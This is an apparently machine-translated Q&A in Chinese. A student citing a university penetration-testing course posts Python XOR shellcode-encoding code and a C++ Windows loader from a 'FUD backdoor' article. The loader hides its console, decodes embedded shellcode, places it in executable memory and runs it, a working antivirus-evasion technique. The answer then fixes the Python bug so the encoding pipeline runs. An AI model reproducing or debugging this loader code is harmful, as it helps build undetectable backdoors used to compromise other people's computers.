我正在为我的大学网络安全课程开发一个关于渗透测试的项目。我找到了一个网站(https://macrosec.tech/index.php/2020/09/20/creating-a-fud-backdoor/),其中包含用于 xor 加密器的 python 代码以及用于 xor 加密器的 c++ 代码装载机。 python 代码旨在在命令行中运行,获取输入文件并指定输出文件。例如,您可以通过运行 python xor_file.py Sample.txt > output_file.txt 来运行代码。但是,当我运行代码时它不起作用。我对加密和 python 非常缺乏经验,因此任何帮助将不胜感激。代码如下。 `
import sys
KEY = 'x'
def xor(data, key):
key = str(key)
l = len(key)
output_str = ''
for i in range(len(data)):
current = data[i]
current_key = key[i % len(key)]
output_str += chr(ord(current) ^ ord(current_key))
return output_str
def printCiphertext(ciphertext):
print("{ 0x" + ", 0x".join(hex(ord(x))[2:] for x in ciphertext) + "};")
try:
plaintext = open(sys.argv[1], 'rb').read()
except:
print('File argument needed! %s ' % sys.argv[0])
sys.exit()
ciphertext = xor(plaintext, KEY)
print("{ 0x" + ", 0x".join(hex(ord(x))[2:] for x in ciphertext) + "};")
加载器代码如下:
#include <windows.h>
#include <iostream>
int main(int argc, char **argv) {
ShowWindow(GetConsoleWindow(), SW_HIDE);
char b[] = {/* your XORd, with key of ‘x’, shellcode goes here i.e. 0x4C,0x4F, 0x4C */};
char c[sizeof b];
for (int i = 0; i < sizeof b; i++) {c[i] = b[i] ^ ‘x’;}
void *exec = VirtualAlloc(0, sizeof c, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, c, sizeof c);
((void(*)())exec)();
}
我把它弄乱了一点,但每次我修复一个错误时,都会有一个新的错误取代它。
当我使用 Python 3.11 运行您包含的 python 代码时,出现以下错误:
Traceback (most recent call last):
File "/Users/jacksonmcafee/xor_file.py", line 29, in <module>
ciphertext = xor(plaintext, KEY)
^^^^^^^^^^^^^^^^^^^
File "/Users/jacksonmcafee/xor_file.py", line 17, in xor
output_str += chr(ord(current) ^ ord(current_key))
^^^^^^^^^^^^
TypeError: ord() expected string of length 1, but int found
您打开文件并将其作为二进制数据读入。
在这种情况下,对
ord(current)
的调用是多余的,因为current
已经是current = data[i]
之后的整数值了。请参阅此链接了解更多信息。
如果删除
ord()
周围的 current
,代码将运行。